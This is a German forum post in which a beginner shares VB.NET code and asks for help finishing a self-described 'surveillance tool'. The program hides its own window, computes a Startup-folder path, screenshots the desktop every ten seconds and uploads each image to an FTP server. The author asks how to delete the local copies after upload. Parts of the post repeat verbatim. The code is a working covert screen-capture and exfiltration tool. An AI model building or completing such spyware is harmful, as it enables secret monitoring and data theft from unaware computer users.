Hey , also ich beschäftige mich erst seid kurzem mit VB , besitzte momentan auch nur die Express Version 2008 . Naja , also ich hab einfach mal etwas herum probiert und ausgetestet und habe mir jetzt schonmal ein Prog gecoded das alle 10 Sekunden(oder in anderen gewünschen Zeitabständen) einen Screen von meinem Desktop macht. Direkt danach wird die Datei auf meinen FTP Server geuploaded .
Im Endeffekt soll es eine Art Überwachungstool sein/werden , aber ich habe keine Ahnung wie ich die Screens löschen lassen kann . Optimal wäre es wenn die Bilder direkt nach dem Upload automatisch gelöscht werden würden ! Quasi ein Screen wird erstellt , geuploaded , vom PC gelöscht und 10 Sekunden später kommt der neue Screen usw. Als Leihe bin ich zwar schon einigermaßen zufrieden mit dem bisherigen tool , aber es nervt einfach jedes mal die Bilder löschen zu müssen .
Hier mal mein Code :
Ich hoffe natürlich auf Hilfe eurerseits , aber ich wäre froh wenn ich nicht einfach nur wortlos einen Code hingeklatscht bekomme , würde auch gerne erklärt bekommen wie dieser dann funktioniert damit ich mir das einprägen und auch später mal wieder nutzten kann !
PS:Wünsche allerseits einen guten Morgen .
LG MUGEN
Edit : Momentan werden die Screens auf dem Pc dort erzeugt und gespeichert wo man die Datei ausführt .
Im Endeffekt soll es eine Art Überwachungstool sein/werden , aber ich habe keine Ahnung wie ich die Screens löschen lassen kann . Optimal wäre es wenn die Bilder direkt nach dem Upload automatisch gelöscht werden würden ! Quasi ein Screen wird erstellt , geuploaded , vom PC gelöscht und 10 Sekunden später kommt der neue Screen usw. Als Leihe bin ich zwar schon einigermaßen zufrieden mit dem bisherigen tool , aber es nervt einfach jedes mal die Bilder löschen zu müssen .
Hier mal mein Code :
VB.NET-Quellcode
- Public Class Form1
- Dim a As String = Application.ExecutablePath
- Dim b As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(a)
- Dim zahl As String = 1
- Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
- Me.Visible = False
- Me.Opacity = 0
- Me.ShowInTaskbar = False
- Me.Hide()
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Dim bounds As Rectangle
- Dim screenshot As System.Drawing.Bitmap
- Dim graph As Graphics
- bounds = Screen.PrimaryScreen.Bounds
- screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
- graph = Graphics.FromImage(screenshot)
- graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
- PictureBox1.Image = screenshot
- zahl += 1
- My.Settings.zahl = zahl
- My.Settings.Save()
- Try
- PictureBox1.Image.Save(zahl & ".gif", System.Drawing.Imaging.ImageFormat.Gif)
- My.Computer.Network.UploadFile(zahl & ".gif", "ftp-Server" & zahl + ".gif", "Username", "passwort")
- Catch ex As Exception
- End Try
- End Sub
- End Class
Ich hoffe natürlich auf Hilfe eurerseits , aber ich wäre froh wenn ich nicht einfach nur wortlos einen Code hingeklatscht bekomme , würde auch gerne erklärt bekommen wie dieser dann funktioniert damit ich mir das einprägen und auch später mal wieder nutzten kann !
PS:Wünsche allerseits einen guten Morgen .
LG MUGEN
Edit : Momentan werden die Screens auf dem Pc dort erzeugt und gespeichert wo man die Datei ausführt .
Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Mugen“ () aus folgendem Grund: Etwas vergessen :/